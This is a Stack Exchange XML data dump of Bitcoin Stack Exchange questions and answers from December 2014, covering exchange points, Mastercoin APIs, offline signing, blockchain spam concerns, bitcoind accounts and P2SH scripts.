  <row Id="34115" PostTypeId="2" ParentId="30246" CreationDate="2014-12-19T20:47:25.773" Score="3" Body="&lt;p&gt;I've read through a few pages and it looks like Bter Points are used to be an incentive for trading.  Bter states that you can only obtain these by trading in CNY, however, I've never traded in CNY and my balance always changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also know that they deduct points from your balance when you withdraw funds, however, reaching 0 Bter Points doesn't seem to stop your ability to withdraw.  It just diminishes your point balance.  After a bit of experimentation today, I did find a use for them and I'm glad that I did &quot;poke&quot; around the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the menu, click on Bonus-&gt;My Dividend.  Apparently Bter pays out site dividends if you request them.  From the My Dividend site, you can request a dividend payment in CNY or BTQ.  I'm not fully sure what BTQ is, so I clicked CNY.  When you request CNY, Bter will deduct half of your points and payout a certain rate of points-to-CNY.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After obtaining about 9 CNY, I bought some BTC and used them to purchase another currency.  So... you can use your points to manually cash out a little Chinese fiat.  It's not much but it's nice if you know it's there.&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2014-12-19T20:47:25.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34117" PostTypeId="1" AcceptedAnswerId="34119" CreationDate="2014-12-19T23:52:20.573" Score="1" ViewCount="144" Body="&lt;p&gt;I am interested in communicating with the Mastercoin network through an API to control various assets. In Bitcoin, I would run the Bitcoin daemon and use the documented API. For Mastercoin, I'm hearing conflicting opinions - either using &lt;a href=&quot;https://github.com/mastercoin-MSC/omniwallet&quot; rel=&quot;nofollow&quot;&gt;omniwallet&lt;/a&gt;, &lt;a href=&quot;https://github.com/grazcoin/mastercoin-tools&quot; rel=&quot;nofollow&quot;&gt;mastercoin-tools&lt;/a&gt; or &lt;a href=&quot;https://github.com/mastercoin-MSC/mastercore&quot; rel=&quot;nofollow&quot;&gt;mastercore&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best approach to take to communicate with the Mastercoin network through an API?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2014-12-20T11:30:54.747" Title="Mastercoin API - what to use?" Tags="|wallet|development|api|daemon|omni|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34118" PostTypeId="2" ParentId="17239" CreationDate="2014-12-20T05:35:33.583" Score="-3" Body="&lt;p&gt;You can Google for &quot;bitcoin to paypal exchange&quot; which would carry the funds to your Paypal account and then you can again carry the funds to your bank account easily. That's the best way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use this way myself, it's easy as well as secure.&lt;/p&gt;&#xA;" OwnerUserId="21590" LastEditorDisplayName="user20707" LastEditDate="2016-10-26T16:16:53.770" LastActivityDate="2016-10-26T16:16:53.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34119" PostTypeId="2" ParentId="34117" CreationDate="2014-12-20T11:30:54.747" Score="2" Body="&lt;p&gt;I think the most easy way to do this would be through Omniwallet API.&#xA;mastercoin-tools is deprecated and should not be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the better security achieved by running a local instance, use Master Core.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2014-12-20T11:30:54.747" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34120" PostTypeId="1" AcceptedAnswerId="34121" CreationDate="2014-12-20T16:19:02.553" Score="5" ViewCount="8053" Body="&lt;p&gt;From what I understand, signing a transaction offline means I don't have to ever expose my private keys to a web-connected computer. From what I've found, the only program that allows something like this with WIF keys is sx, are there any other tools that perform something like this? Or is sx the only way do accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="21565" LastActivityDate="2019-10-22T17:06:51.453" Title="Is there an easy-to-use tool for creating and signing offline transactions?" Tags="|offline-transactions|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34121" PostTypeId="2" ParentId="34120" CreationDate="2014-12-20T17:15:11.550" Score="4" Body="&lt;p&gt;Armory is a popular solution for dealing with offline wallets. It is GUI based so is more user friendly than command-line / programming based solutions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoinarmory.com/&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinarmory.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7267" LastActivityDate="2014-12-20T17:15:11.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34122" PostTypeId="2" ParentId="34120" CreationDate="2014-12-20T18:07:04.747" Score="5" Body="&lt;p&gt;You can do this using Bitcoin Core, and it'll be even easier with Bitcoin Core 0.10's watch-only wallet support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the current Bitcoin Core, you create a wallet on your offline machine.  Using it, you get one or more addresses (saving them, for example, to a text file).  You copy those addresses to your online computer and give them to people to pay you.  When you want to spend those payments, you create the transaction on the online computer in an unsigned form, copy it to your offline computer, verify it, sign it, copy the signed transaction back to the online computer, and send it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Core dev Greg Maxwell has instructions for all this on his site: &lt;a href=&quot;http://people.xiph.org/~greg/signdemo.txt&quot; rel=&quot;noreferrer&quot;&gt;Offline Signing Demo&lt;/a&gt;.  There's another example aimed at developers on Bitcoin.org: &lt;a href=&quot;https://bitcoin.org/en/developer-examples#offline-signing&quot; rel=&quot;noreferrer&quot;&gt;Offline Signing Example&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with both methods is that you need to know the TXID of any payments made to the addresses corresponding to your offline keys, and current (December 2014) versions of Bitcoin Core don't make that easy.  However, the next version of Bitcoin Core (0.10.0) will include watch-only address support.  So you'll take that list of addresses you generated and use the new &lt;code&gt;importadddress&lt;/code&gt; RPC command to add them to your wallet.  The private keys will still be offline, but your online Bitcoin Core will track those addresses as if they were regular parts of the wallet.  Then you'll be able to use the &lt;code&gt;listunspent&lt;/code&gt; RPC to get the TXIDs and vouts for incoming payments without any extra work.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2014-12-20T18:07:04.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34123" PostTypeId="1" AcceptedAnswerId="34124" CreationDate="2014-12-20T22:25:59.930" Score="7" ViewCount="309" Body="&lt;p&gt;What if some government start using their computers to move the tiniest amount of Bitcoin possible, from wallet to wallet, just to make the blockchain REALLY big? Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And also, is it possible to generate large amounts of transactions so that one winning node can't include them all in one 10 minute mining process? &lt;/p&gt;&#xA;" OwnerUserId="21593" LastEditorUserId="5406" LastEditDate="2016-03-15T09:23:24.953" LastActivityDate="2016-03-15T09:23:24.953" Title="What if some group of people start sending small transactions from wallet to wallet just to make the blockchain bigger?" Tags="|blockchain|attack|blocksize|transaction-selection|spam|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34124" PostTypeId="2" ParentId="34123" CreationDate="2014-12-20T23:34:44.290" Score="9" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The current maximum size of a block is 1 MB.  Current block sizes are about half that, so the absolute worse case scenario is that the block chain grows in size twice as fast as it does now.  That's not particularly scary.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It's easy to create more than 1 MB of transactions every 10 minutes.  If anyone does that, some transactions can't be included in blocks.  However, at present, there are almost always more transactions available than miners are willing to include in blocks, so we're already at the point where miners need to choose what transactions get included.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the most part, miners choose based on fee per kilobyte of transaction data, so transactions that pay more fee/kB get included in blocks sooner.  If someone wanted to, they could create large transactions that paid large fees in order to raise the transaction fee the rest of us would need to pay.  Since that would cost the attacker money every block without actually preventing us from using the system (if we were willing to pay the higher fees), it's also not particularly scary.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2014-12-20T23:34:44.290" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34125" PostTypeId="2" ParentId="30149" CreationDate="2014-12-21T04:37:15.730" Score="0" Body="&lt;p&gt;A good way to think of it is when you import a key to your wallet all of its inputs are added to the &quot;input pool&quot; as i like to call it. When a sendtoaddress or sendmany command is initiated it will pull what it thinks are the best inputs to make that transaction from the &quot;input pool&quot;. Keys can be added/removed from accounts at any time taking their inputs with them. (although a rescan is required and done by default which takes some time)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the way its designed to work. But if you want to customize it to work with you it is possible. Just always be cautious of modifying and know what your doing. Mistakes with bitcoin transaction are irreversible and can be quite costly. You have a few options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Accounts are usefull for this. A wallet can have multiple accounts. Think of accounts as a way to group keys together. You could make a new account for each user then use the sendfrom command to initiate all withdrawals from the wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoind sendfrom &quot;fromaccount&quot; &quot;tobitcoinaddress&quot; &quot;amount&quot; [minconf=1]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where &quot;fromaccount&quot; is the account you want to send from. &quot;tobitcoinaddress&quot; is the destination. &quot;amount&quot; is the amount you want to send and [minconf=1] will not allow it to spend any input with less than 1 confirmation or any value you specify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will send only from the account you specify. Each account can have as many addresses as you like or just one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just be aware accounts should never be used for balance tracking. Only for groupings of keys. And if you ever use the sendto or sendmany commands they will pull the inputs from all accounts to make the withdrawal&lt;/p&gt;&#xA;" OwnerUserId="19036" LastActivityDate="2014-12-21T04:37:15.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34127" PostTypeId="2" ParentId="16743" CreationDate="2014-12-21T10:33:27.903" Score="2" Body="&lt;p&gt;Very late answer, but I'd run Armory, and the transactions/signatures would be moved between the online and offline computers via serial cable rather than by flash drive (some medium-size crypto (not bitcoin, rather, CA signing, etc) installations I know of do exactly this).&lt;/p&gt;&#xA;" OwnerUserId="21601" LastEditorUserId="21601" LastEditDate="2014-12-30T08:39:46.997" LastActivityDate="2014-12-30T08:39:46.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34128" PostTypeId="1" CreationDate="2014-12-21T21:21:41.493" Score="0" ViewCount="125" Body="&lt;p&gt;I've compiled a bitcoin-qt v0.8.6 on osx 10.9. It successfully runs on developer machine from 'Finder' (as Bitcoin-Qt.app) and from terminal (as ./Bitcoin-Qt.app/Contents/MacOS/Bitcoin-Qt). I've copied it to another machine (also osx 10.9). And it doesn't starts from 'Finder', error message is &quot;applications is damaged or does not contain the necessary libraries&quot; (but continues run from terminal).&#xA;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="21606" LastActivityDate="2015-07-28T22:14:58.313" Title="osx - bitcoin-qt v0.8.6 doesn't starts at osx 10.9 non-developer machine" Tags="|bitcoin-core|mac|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34129" PostTypeId="1" AcceptedAnswerId="34130" CreationDate="2014-12-22T02:17:21.813" Score="2" ViewCount="2951" Body="&lt;p&gt;The only wallet I can find for Ripple is the standard web client. I don't like the idea of always having to trust a web client with my keys. Is there a local-only client for the Ripple network? If not, is there something preventing a local client from being developed or has it just not got enough interest yet?&lt;/p&gt;&#xA;" OwnerUserId="12616" LastActivityDate="2016-09-01T16:35:17.633" Title="Is there a local wallet for Ripple?" Tags="|ripple|ripple-client|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34130" PostTypeId="2" ParentId="34129" CreationDate="2014-12-22T09:06:31.563" Score="6" Body="&lt;p&gt;Ripple Labs makes a &lt;a href=&quot;https://download.ripple.com/&quot;&gt;downloadable client&lt;/a&gt; available. You can store wallets in a local file, encrypted with a passphrase. The source code is available on &lt;a href=&quot;https://github.com/ripple/ripple-client-desktop&quot;&gt;github&lt;/a&gt; along with build instructions.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-12-22T09:06:31.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34131" PostTypeId="2" ParentId="34128" CreationDate="2014-12-22T14:13:06.013" Score="0" Body="&lt;p&gt;There are a lot of things that could be wrong with doing it this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One show stopper will be the permissions. You will need to check that all the application files have the permissions needed to run on the other machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An application in OSX is just a folder that contains a number of resources and the executable files. To see these right-click and &quot;show package contents&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second thing you will need to check to is the data files. These reside in your user's library, and will contain the entire blockchain (that's if you've let Bitcoin-QT do it's stuff long enough to syncronise it) and some other useful stuff. But be careful - DO NOT COPY THIS if you are setting it up for someone other than yourself, because these files contain your private keys. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be found in &lt;code&gt;Users/yourshortusername/Library/Application Support/Bitcoin/&lt;/code&gt; it will be about 32Gb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are going to copy these, make sure Bitcoin QT is not running on your machine to perform the copy, and you will also need to change permissions when you copy these files over. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in any case, I have a question for you. Why didn't you just compile the code on the other machine?&lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-12-22T14:13:06.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34132" PostTypeId="1" CreationDate="2014-12-22T18:28:16.697" Score="1" ViewCount="264" Body="&lt;p&gt;I'm still doing more research on Crypto 2.0 or Bitcoin 2.0 technologies and still weighing the pros and cons of each. So far we have the following technologies that are either backed by a company or a few people:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Ethereum&lt;/li&gt;&#xA;&lt;li&gt;Counterparty&lt;/li&gt;&#xA;&lt;li&gt;Bitshares&lt;/li&gt;&#xA;&lt;li&gt;Ripple&lt;/li&gt;&#xA;&lt;li&gt;Coin Prism&lt;/li&gt;&#xA;&lt;li&gt;Sidechain&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And then we have anonymous Bitcoin 2.0 crypto like NXT that took after the steps of satoshi of staying anonymous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to find out is how does being transparency play into these systems. I can understand that being transparent gives the ability to hold these companies or people accountable if anything goes wrong. But this also gives these entities the ability to be manipulated by government and laws that govern what they can and cannot do. One case is with counterparty, as they had a gambling tab within their system which they had to limit via Geo IP location due to US laws as they don't want to be labeled as a facilitator of a gambling site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone provide a list of PROS + CONS on each side of the coin for being a transparent 2.0 technology to being a anonymous 2.0 technology. &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2017-10-19T12:08:16.947" Title="Transparent Crypto Bitcoin 2.0 Technologies vs Anonymous Bitcoin Crypto 2.0 technologies?" Tags="|altcoin|nxt|ethereum|counterparty|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34133" PostTypeId="2" ParentId="29904" CreationDate="2014-12-22T19:39:39.363" Score="8" Body="&lt;p&gt;You can think of the generator G as the first point after infinity on the curve.  Begin with infinity and add G; the result is G. Add G to this and you get 2G. Add G to this and you get 3G. And so on. If you add G a total of &lt;code&gt;n&lt;/code&gt; times (where &lt;code&gt;n&lt;/code&gt; is the &lt;em&gt;order&lt;/em&gt; of the curve) you will be back at infinity, where you started; the whole curve is a never-ending loop. The order &lt;code&gt;n&lt;/code&gt; is how many distinct points are on the curve, or in Bitcoin terms, how many possible private keys there are (plus 1 for the point at infinity).&lt;/p&gt;&#xA;" OwnerUserId="21451" LastActivityDate="2014-12-22T19:39:39.363" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34134" PostTypeId="1" CreationDate="2014-12-22T22:43:39.257" Score="0" ViewCount="763" Body="&lt;p&gt;Is there a theoretical gain from mining the same wallet/coins for pos on multiple computers, and if so, how much is it?&lt;/p&gt;&#xA;" OwnerUserId="12196" LastEditorUserId="5406" LastEditDate="2016-04-10T09:50:10.993" LastActivityDate="2016-04-10T09:50:10.993" Title="How much do you gain from minting a proof-of-stake coin on multiple wallets?" Tags="|mining-profitability|proof-of-stake|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34135" PostTypeId="1" AcceptedAnswerId="34139" CreationDate="2014-12-22T22:48:54.220" Score="0" ViewCount="389" Body="&lt;p&gt;The bitcoin message magic, &quot;Bitcoin Signed Message:\n&quot;, is defined: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/203632d20b3107009f45fae56cc3f7d828b16660/src/main.cpp#L80&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/bitcoin/bitcoin/blob/203632d20b3107009f45fae56cc3f7d828b16660/src/main.cpp#L80&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it is used as a part of signing messages to prove they were sent from owners of specific private keys, as detailed here: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3337/what-are-the-safety-guidelines-for-using-the-sign-message-feature/3339#3339&quot;&gt;What are the safety guidelines for using the Sign Message feature?&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I don't know, though, is what good is this message magic? Does it make sure the same key can't be used in two coins? Is there some cryptographic reason?&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-12-31T03:24:49.643" Title="What is the strMessageMagic good for?" Tags="|message-signing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34136" PostTypeId="2" ParentId="34134" CreationDate="2014-12-22T22:52:03.353" Score="1" Body="&lt;p&gt;There is no theoretical gain. It would basically be multiple computers doing the same calculations and arriving at the same result. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at &lt;a href=&quot;https://github.com/ppcoin/ppcoin/blob/master/src/kernel.cpp#L290-L312&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ppcoin/ppcoin/blob/master/src/kernel.cpp#L290-L312&lt;/a&gt;. These are the things that are included in a PoS hash:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//   nStakeModifier: &#xA;//       (v0.3) scrambles computation to make it very difficult to precompute&#xA;//              future proof-of-stake at the time of the coin's confirmation&#xA;//       (v0.2) nBits (deprecated): encodes all past block timestamps&#xA;//   txPrev.block.nTime: prevent nodes from guessing a good timestamp to&#xA;//                       generate transaction for future advantage&#xA;//   txPrev.offset: offset of txPrev inside block, to reduce the chance of &#xA;//                  nodes generating coinstake at the same time&#xA;//   txPrev.nTime: reduce the chance of nodes generating coinstake at the same&#xA;//                 time&#xA;//   txPrev.vout.n: output number of txPrev, to reduce the chance of nodes&#xA;//                  generating coinstake at the same time&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These will be the same on two different wallets, so you'll just be doing the same calculation and getting the same result on two different computers.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;One possible theoretical gain is that blocks could be propagated from different nodes at many locations, and the blocks would spread much more quickly.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-01-23T14:55:36.330" LastActivityDate="2015-01-23T14:55:36.330" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34137" PostTypeId="2" ParentId="13112" CreationDate="2014-12-22T23:03:14.723" Score="1" Body="&lt;p&gt;Yes, P2SH seems to be the way to go here. If you do a redeem script like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;redeemScript: DUP HASH160 {B's pub key id} EQUALVERIFY CHECKSIGVERIFY 1 {c1 pub key} {c2 pub key} {c3 pub key} {c4 pub key} {c5 pub key} 5 CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hash it and use the P2SH hash as the address. Then you could spend this output with a scriptSig like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scriptSig: {any one of c1-c5's signatures of the transaction} {B's signature} {redeemScript}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd do some testing with these on a testnet network before doing this for real. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-12-22T23:03:14.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34138" PostTypeId="2" ParentId="34135" CreationDate="2014-12-22T23:10:12.393" Score="1" Body="&lt;p&gt;The &quot;magic string&quot; is prefixed to a message before hashing. You could think of it as setting the hashing function to a particular initial state before hashing the message. It serves only to give some distinction to hashes of Bitcoin-specific messages, by resulting in a hash value that is different from hashing just the bare message. There is no cryptographic reason or consequence for this.&lt;/p&gt;&#xA;" OwnerUserId="21451" LastActivityDate="2014-12-22T23:10:12.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34139" PostTypeId="2" ParentId="34135" CreationDate="2014-12-22T23:24:16.083" Score="2" Body="&lt;p&gt;Imagine if that weren't there. What if someone tricked you into signing a Bitcoin transaction with your key? They could put the signature they got from you along with your public key into the input script for the transaction, and broadcast that transaction to the network. (Unless something else I'm not aware of would prevent that.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Granted, it would be somewhat difficult to trick someone into doing that (Bitcoin transactions include null chars, and I don't think you can copy-paste those) but why take the risk at all?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2014-12-31T03:24:49.643" LastActivityDate="2014-12-31T03:24:49.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34140" PostTypeId="2" ParentId="34132" CreationDate="2014-12-23T01:29:00.860" Score="1" Body="&lt;p&gt;None of the 2.0 technologies are completely anonymous. At best, they are pseudonymous as Bitcoin. Some of them, like Ripple, have a disincentive to creating new pseudonyms all the time (having to pay fees to activate a new address and set up trust).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The strong part of the 2.0 technologies &lt;a href=&quot;http://tpbit.blogspot.ca/2014/11/open-riptherium-thoughts-on-ultimate.html&quot; rel=&quot;nofollow&quot;&gt;is the ability to issue arbitrary currencies&lt;/a&gt;, which are often backed by other currencies or commodities. As such, the issuer needs to be known so people can send the currency or commodity to them and hold them accountable for the delivery of the underlying value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some functions in the 2.0 systems that can be used without revealing an identity, like decentralized gambling, futures contracts, etc. Those will cause &lt;a href=&quot;http://tpbit.blogspot.ca/2014/12/how-to-kill-currency.html&quot; rel=&quot;nofollow&quot;&gt;an interesting legal conundrum in the future&lt;/a&gt;. Most likely all parties involved will be held accountable for their actions, so if you gamble online illegally, you may be thrown in jail for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A useful overview of the various features of Crypto 2.0 systems - tiny.cc/Crypto .&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2014-12-23T01:29:00.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34141" PostTypeId="1" CreationDate="2014-12-23T03:39:22.497" Score="1" ViewCount="193" Body="&lt;p&gt;I'm using the &lt;a href=&quot;https://www.blocktrail.com/api/docs/python&quot; rel=&quot;nofollow&quot;&gt;blocktrail python api&lt;/a&gt;, to try and display transactions above 50 BTC per block for a visualization project. I think I'm almost there but can anyone help me understand where I'm stuck?    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;client = blocktrail.APIClient(api_key=&quot;MY_APIKEY&quot;, api_secret=&quot;MY_APISECRET&quot;, network=&quot;BTC&quot;, testnet=false)&#xA;&#xA;def getLargeTxs():&#xA;  block = client.block_latest()&#xA;  transactions = client.block_transactions(block)['data']&#xA;  over_50btc = [ item for item in transactions if blocktrail.to_btc( item['estimated_value'] ) &amp;gt; 50.0 ]&#xA;  return over_50btc    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help&lt;/p&gt;&#xA;" OwnerUserId="21613" LastEditorUserId="2306" LastEditDate="2014-12-23T06:03:44.560" LastActivityDate="2015-02-07T09:30:03.267" Title="Filter transactions per block 50 BTC or Higher" Tags="|blockchain|blocktrail|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34144" PostTypeId="2" ParentId="12397" CreationDate="2014-12-23T04:54:09.277" Score="4" Body="&lt;p&gt;A 44-byte header cointaining:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;magic: 0xfa, 0xbe, 'm', 'm' (only required if over 20 bytes past the start of the script; optional otherwise)&lt;/li&gt;&#xA;&lt;li&gt;block_hash: Hash of the Namecoin block header&lt;/li&gt;&#xA;&lt;li&gt;merkle_size: Number of entries in aux work merkle tree.&lt;/li&gt;&#xA;&lt;li&gt;merkle_nonce: Nonce used to calculate indexes into aux work merkle tree; you may as well leave this at zero&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;is included in the &lt;strong&gt;&lt;em&gt;scriptSig of the coinbase transaction in the Bitcoin block&lt;/em&gt;&lt;/strong&gt; and sent to the Bitcoin network. Note that it is only sent to the Bitcoin network if it meets the network difficulty of Bitcoin. If it only meets the difficulty of Namecoin, it is only sent to the Namecoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://en.bitcoin.it/wiki/Merged_mining_specification&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Merged_mining_specification&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18713" LastActivityDate="2014-12-23T04:54:09.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34145" PostTypeId="1" AcceptedAnswerId="34151" CreationDate="2014-12-23T08:06:05.287" Score="4" ViewCount="196" Body="&lt;p&gt;I assume Litecoin has different rules of generating addresses with Bitcoin, since all Litecoin addresses are 34-characters long which is different than Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that the rules for generating addresses are different, does Litecoin have a higher chance of address collision than Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="20967" LastEditorUserId="18196" LastEditDate="2014-12-23T18:04:16.490" LastActivityDate="2014-12-23T18:04:16.490" Title="Does Litecoin have a higher chance of address collision than Bitcoin?" Tags="|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34146" PostTypeId="2" ParentId="34132" CreationDate="2014-12-23T14:20:43.297" Score="0" Body="&lt;p&gt;&lt;strong&gt;Disclaimer&lt;/strong&gt;: I work for Coinprism.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coinprism is based on an open protocol called &lt;a href=&quot;https://github.com/OpenAssets/open-assets-protocol&quot; rel=&quot;nofollow&quot;&gt;Open Assets&lt;/a&gt; (placed in the public domain). &lt;a href=&quot;https://github.com/OpenAssets/colorcore&quot; rel=&quot;nofollow&quot;&gt;Colorcore&lt;/a&gt; is an open source implementation of that protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Open Assets protocol is finalized, and you can start using it today without fearing any changes to it. It does everything it is supposed to do while keeping it extremely simple: ability to issue and transfer assets. Atomic swaps, dividends, voting, crowdfunding can all be built from that core protocol with no changes whatsoever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Coinprism disappears or if the government compels us to make changes to Open Assets, nothing forces you to upgrade to that new version, and you will always be able to use Colorcore along with the existing version of the protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In effect, Open Assets is now like HTTP in the sense that it doesn't really belong to anyone. Because Open Assets doesn't rely on any underlying currency (other than Bitcoin), there is no incentive for you to upgrade to any (potential) new version.&lt;/p&gt;&#xA;" OwnerUserId="2716" LastActivityDate="2014-12-23T14:20:43.297" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34147" PostTypeId="1" AcceptedAnswerId="34148" CreationDate="2014-12-23T14:56:03.800" Score="2" ViewCount="3053" Body="&lt;p&gt;I have my own server running bitcoind. Could you tell me how to generate new bitcoin address, sign and broadcast? My goal is that I can see the generated address's balance on Blockchain.info. As for you, my question may be very easy but I am looking for the way for a long time...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoind's version is 0.9.2.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoind getinfo&#xA;{&#xA;    &quot;version&quot; : 90200,&#xA;    &quot;protocolversion&quot; : 70002,&#xA;    &quot;walletversion&quot; : 60000,&#xA;    &quot;balance&quot; : 0.00000000,&#xA;    &quot;blocks&quot; : 335538,&#xA;    &quot;timeoffset&quot; : -1,&#xA;    &quot;connections&quot; : 21,&#xA;    &quot;proxy&quot; : &quot;&quot;,&#xA;    &quot;difficulty&quot; : 39457671307.13873291,&#xA;    &quot;testnet&quot; : false,&#xA;    &quot;keypoololdest&quot; : 1418654127,&#xA;    &quot;keypoolsize&quot; : 101,&#xA;    &quot;paytxfee&quot; : 0.00000000,&#xA;    &quot;relayfee&quot; : 0.00001000,&#xA;    &quot;errors&quot; : &quot;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19338" LastActivityDate="2014-12-23T15:14:19.797" Title="bitcoind: How to generate new address and broadcast?" 